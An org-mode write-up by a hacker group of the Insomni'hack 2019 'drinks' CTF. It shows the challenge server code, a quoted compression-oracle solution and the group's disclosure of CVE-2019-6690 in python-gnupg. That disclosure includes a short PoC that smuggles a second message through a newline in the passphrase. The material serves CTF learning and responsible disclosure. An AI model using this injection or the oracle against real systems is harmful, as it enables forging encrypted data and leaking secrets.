* We played "drinks" CTF at Hackeriet in Jan 2019 From Insomni'hack teaser 2019 https://ctftime.org/task/7458 #+BEGIN_SRC text Use this API to gift drink vouchers to yourself or your friends! http://drinks.teaser.insomnihack.ch http://146.148.126.185 <- 2nd instance if the first one is too slow Vouchers are encrypted and you can only redeem them if you know the passphrase. Because it is important to stay hydrated, here is the passphrase for water: WATER_2019. Beers are for l33t h4x0rs only. #+END_SRC * drinks: server.py #+BEGIN_SRC python from flask import Flask,request,abort import gnupg import time import json app = Flask(__name__) gpg = gnupg.GPG(gnupghome="/tmp/gpg", verbose=True, ) couponCodes = { "water": "WATER_2019", "beer" : "█████████████████████████████████" # REDACTED } @app.route("/generateEncryptedVoucher", methods=['POST']) def generateEncryptedVoucher(): content = request.json (recipientName,drink) = (content['recipientName'],content['drink']) encryptedVoucher = str(gpg.encrypt( "%s||%s" % (recipientName,couponCodes[drink]), recipients = None, symmetric = True, passphrase = couponCodes[drink] )).replace("PGP MESSAGE","DRINK VOUCHER") return encryptedVoucher @app.route("/redeemEncryptedVoucher", methods=['POST']) def redeemEncryptedVoucher(): content = request.json (encryptedVoucher,passphrase) = (content['encryptedVoucher'],content['passphrase']) decryptedVoucher = str(gpg.decrypt( encryptedVoucher.replace("DRINK VOUCHER","PGP MESSAGE"), passphrase = passphrase )) print(json.dumps(decryptedVoucher)) (recipientName,couponCode) = decryptedVoucher.split("||") if couponCode == couponCodes["water"]: return "Here is some fresh water for %s\n" % recipientName elif couponCode == couponCodes["beer"]: return "Congrats %s! The flag is INS{%s}\n" % (recipientName, couponCode) else: abort(500) if __name__ == "__main__": app.run(host='0.0.0.0') #+END_SRC * drinks: coupon codes #+BEGIN_SRC python couponCodes = { "water": "WATER_2019", "beer" : "█████████████████████████████████" # REDACTED } #+END_SRC * drinks: issuing voucher #+BEGIN_SRC python @app.route("/generateEncryptedVoucher", methods=['POST']) def generateEncryptedVoucher(): content = request.json (recipientName,drink) = (content['recipientName'],content['drink']) encryptedVoucher = str(gpg.encrypt( "%s||%s" % (recipientName,couponCodes[drink]), recipients = None, symmetric = True, passphrase = couponCodes[drink] )).replace("PGP MESSAGE","DRINK VOUCHER") return encryptedVoucher #+END_SRC * drinks: claiming voucher #+BEGIN_SRC python @app.route("/redeemEncryptedVoucher", methods=['POST']) def redeemEncryptedVoucher(): content = request.json (encryptedVoucher,passphrase) = (content['encryptedVoucher'],content['passphrase']) decryptedVoucher = str(gpg.decrypt( encryptedVoucher.replace("DRINK VOUCHER","PGP MESSAGE"), passphrase = passphrase )) print(json.dumps(decryptedVoucher)) (recipientName,couponCode) = decryptedVoucher.split("||") if couponCode == couponCodes["water"]: return "Here is some fresh water for %s\n" % recipientName elif couponCode == couponCodes["beer"]: return "Congrats %s! The flag is INS{%s}\n" % (recipientName, couponCode) else: abort(500) #+END_SRC * We didn't succeed in getting the flag. From GNU-E-Ducks writeup: https://ctftime.org/writeup/12927 ".. pgp compresses the message before encrypting it. This was the eureka moment, and I realized the if the recipientName we supply to generateEncryptedVoucher was similar to the coupon code for the drink, the length of the drink voucher would be less than if they were disimilar. Thus we have an oracle which leaks information about the rest of the plaintext!" For example #+BEGIN_SRC python len(generateEncryptedVoucher('', 'water')) == 179 #+END_SRC and #+BEGIN_SRC python len(generateEncryptedVoucher('WATER_2019', 'water')) == 179 #+END_SRC Since our plaintext is WATER_2019||WATER_2019, the common strings are compressed. The solution is to start with an prefix and check the length of ciphertext of the prefix appended with each character in the alphabet. If the length is less than the others, it is considered a candidate in the next round. In practice, some manual intervention is required to eliminate unlikely prefixes, such as G1MME________ in favor of more likely prefixes such as G1MME_B33R_PL. For example, I left the algorithm to run and this is what it decided the flag was: G1MME_B33R_PLZ_1MME_B33RY_TH1RSTY, even though the correct flag is G1MME_B33R_PLZ_1M_S0_V3RY_TH1RSTY * But we found something else: gpg --symmetric --passphrase-fd 0 The code uses python-gnupg, which use call gpg on the command line. Since we can supply a passphrase as input, we tried to send in some control chars like \n To supply the passphrase to gpg for decryption, python-gnupg sends it as the first line on stdin to the gpg process. And there is no validation of allowed characters in the passphrase. All interactions with gpg happens over a system shell, for the gpg libraries in many languages. python-gnupg 0.4.3: #+BEGIN_SRC python cmd = [self.gpgbinary, '--status-fd', '2', '--no-tty', '--no-verbose', ... ] result = Popen(cmd, shell=False, stdin=PIPE, stdout=PIPE, stderr=PIPE, startupinfo=si) #+END_SRC https://bitbucket.org/vinay.sajip/python-gnupg/src/e0f2692d6539aca706b63dba22d900d2c70d59f8/gnupg.py#lines-885 * normal usage: encrypt #+BEGIN_SRC shell echo -e "passphrase\nMY_SECRET_STRING" | \ gpg --symmetric --batch --pinentry-mode loopback --passphrase-fd 0 | \ > /tmp/encrypted.gpg #+END_SRC * normal usage: decrypt #+BEGIN_SRC shell echo -e "passphrase\n$(cat /tmp/encrypted.gpg)" | \ gpg --decrypt --batch --pinentry-mode loopback --passphrase-fd 0 #+END_SRC * PoC #+BEGIN_SRC python import gnupg, sys def encrypt_data(password): return str(gpg.encrypt("expected message", passphrase=password, symmetric=True, recipients=False)) gpg = gnupg.GPG(gnupghome="/tmp/gpg") in_password = sys.stdin.read() print(encrypt_data(in_password)) #+END_SRC #+BEGIN_SRC shell :results output echo -e "p4ssw0rd\n!MALICIOUS MESSAGE!" \ | ./vulnerable.py > /tmp/msg.gpg gpg -d --pinentry-mode loopback --passphrase p4ssw0rd /tmp/msg.gpg #+END_SRC * CVE-2019-6690 https://blog.hackeriet.no/cve-2019-6690-python-gnupg-vulnerability/ Thx to the python-gnupg maintainer (@vsajip) for releasing a fixed version very fast. (2 days) ** 2019-01-19: Discovered vuln in 0.4.3 ** 2019-01-22: Maintainer notified ** 2019-01-24: Disclosed, maintainer releases0.4.4 * python-gnupg: distribution patch status |-----------------+------------+-------------------------- | distro | patched | version |-----------------+------------+-------------------------- | NixOS | 2019-01-25 | 0.4.4 | SUSE: Leap | 2019-02-07 | 0.4.4-lp150.2.6.1 | Debian: Jessie | 2019-02-14 | 0.3.6-1+deb8u1 | Mageia | 2019-03-07 | 0.4.4-1.mga6 | Ubuntu: Bionic | 2019-04-30 | 0.4.1-1ubuntu1.18.04.1 | Debian: Stretch | not fixed | not fixed | Gentoo | ? | ? |-----------------+------------+-------------------------- https://advisories.mageia.org/MGASA-2019-0105.html https://security-tracker.debian.org/tracker/CVE-2019-6690 https://www.suse.com/security/cve/CVE-2019-6690/ https://people.canonical.com/~ubuntu-security/cve/2019/CVE-2019-6690.html